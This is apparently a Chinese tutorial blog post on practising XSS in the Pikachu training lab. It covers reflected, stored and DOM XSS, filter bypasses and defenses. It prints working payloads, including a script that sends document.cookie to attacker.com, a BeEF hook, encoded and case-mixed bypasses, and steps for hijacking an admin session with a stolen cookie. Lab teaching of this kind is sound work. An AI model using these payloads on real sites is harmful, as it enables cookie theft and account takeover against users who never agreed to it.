1. XSS漏洞基础与Pikachu靶场环境搭建XSS跨站脚本攻击就像有人在你常去的咖啡馆留言板上偷偷贴了张纸条上面写着请把钱包交给柜台。当其他顾客看到这张纸条时可能会误以为是咖啡馆的正式通知。在Web安全领域这种恶意纸条就是攻击者注入的JavaScript代码而顾客就是普通用户的浏览器。Pikachu靶场是个专门设计的安全演练环境相当于一个装满各种漏洞玩具的沙盒。我第一次搭建这个环境时用的是XAMPP集成环境整个过程比想象中简单# 下载Pikachu靶场源码 wget https://github.com/zhuifengshaonianhanlu/pikachu/archive/master.zip # 解压到Web服务器目录 unzip master.zip -d /var/www/html/启动Apache和MySQL服务后访问localhost/pikachu就能看到这个萌萌的皮卡丘安全实验室。记得要初始化数据库我在第一次使用时差点栽在这个环节——没有执行初始化SQL文件导致所有存储型XSS关卡都无法正常演示。靶场左侧菜单清晰地列出了XSS漏洞的各种类型就像游戏里的关卡选择界面。这种设计对新手特别友好我建议初学者按照从上到下的顺序逐个攻破就像打游戏升级一样循序渐进。2. 反射型XSS实战攻防2.1 GET型反射XSS这就像在搜索引擎中输入关键词服务器原封不动地把你的输入显示在结果页。我刚开始测试时直接输入了经典的scriptalert(1)/script但页面毫无反应。查看源码才发现输入框有长度限制——这是新手常遇到的第一个坑。绕过方法很简单用浏览器开发者工具修改input标签的maxlength属性。Chrome中按F12找到对应输入框元素双击maxlength值改成1000即可。这个操作让我想起小时候玩红白机时用的作弊码修改后成功弹出alert窗口的瞬间特别有成就感。实际攻击中攻击者会把恶意代码藏在URL参数里http://target.com/search?qscriptalert(document.cookie)/script当用户点击这个链接时他们的会话cookie就会被窃取。我在内部培训时做过演示用Python的Flask搭建一个模拟网站让同事们点击抽奖链接结果他们浏览器里的模拟cookie全部被我收集到了。2.2 POST型反射XSS这个关卡需要先登录就像进入银行网站后才能进行转账操作。用提供的admin/123456登录后我在留言板注入了一段窃取cookie的代码scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script这里有个实用技巧不退出登录的情况下在另一个浏览器标签打开开发者工具直接修改document.cookie的值就能实现会话劫持。有次我同事问我为什么他的账号突然发布了奇怪内容其实就是这个漏洞导致的。3. 存储型XSS深度解析3.1 漏洞原理与危害存储型XSS就像在图书馆的书里夹带恶意传单每个借阅这本书的人都会看到。我在测试时先在留言板插入payload发现前端没有显示但在网页源码中清晰可见——这说明过滤机制不完善。清理数据库的操作很关键DELETE FROM message WHERE content LIKE %script%;有次我忘记清理测试数据结果下次演示时所有访客的浏览器都在疯狂弹窗场面一度非常尴尬。3.2 实战攻击链构建完整的攻击流程应该是注入恶意代码到留言板等待管理员查看后台在XSS平台接收cookie使用Cookie登录管理员账户我常用BeeF框架来做演示它的控制台特别直观hook.js?callbackalert(document.domain)当管理员中招后甚至能实时看到他的屏幕截图这种可视化效果在安全意识培训时特别有冲击力。4. DOM型XSS的花式玩法4.1 基础DOM XSS这种漏洞就像魔术师的手法所有操作都在客户端完成。测试时我输入img src1 onerroralert(1)查看源码发现字符串被直接拼接进innerHTML。现代前端框架如React/Vue默认会做转义但很多老系统仍然存在这个问题。4.2 进阶DOM操作遇到更复杂的情况时需要分析DOM树结构。有次我遇到一个看似过滤很严的网站最终通过SVG标签成功注入svg/onloadalert(1)这种变形payload能绕过大多数简单过滤器就像特工使用伪装身份一样。5. XSS过滤绕过艺术5.1 大小写与标签替换当发现script被过滤时可以尝试ScRiPtalert(1)/sCriPt或者使用非script标签body onloadalert(1) img srcx onerroralert(1)5.2 HTML编码绕过有些系统只过滤特定字符这时可以采用编码img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;这串数字解码后就是alert(1)我在一次CTF比赛中就用这招拿下了关键分数。6. 特殊场景下的XSS利用6.1 href属性注入当发现输出在a标签的href属性时可以尝试javascript:alert(1)现代浏览器虽然对这类协议有限制但在内网系统中仍然常见。有次渗透测试中我就是通过这个漏洞拿到了OA系统的管理员权限。6.2 JS字符串注入当输入出现在JavaScript代码中时需要先闭合前面的字符串;alert(1);//这就像在对话中突然插入自己的台词。有次我审计代码时发现开发者这样写var userInput % unsanitizedInput %;简直就是为XSS量身定做的漏洞模板。7. 防御措施与实战建议在修复自己项目中的XSS漏洞时我总结了几点经验所有动态输出都要编码HTML用HtmlEncodeJS用JsEncode使用CSP头限制脚本来源Content-Security-Policy: default-src self设置HttpOnly标志防止cookie被盗有次我帮客户做代码审计发现他们竟然用字符串替换来防御str_replace(script, , $input);这种黑名单方式根本防不住稍微有点经验的攻击者。正确的做法应该是白名单过滤或者使用业界成熟的库如DOMPurify。最后提醒新手在合法授权范围内进行测试我见过有人在自己公司内网瞎搞结果触发警报的尴尬情况。真正的安全专家就像外科医生既要精通解剖学更要遵守希波克拉底誓言。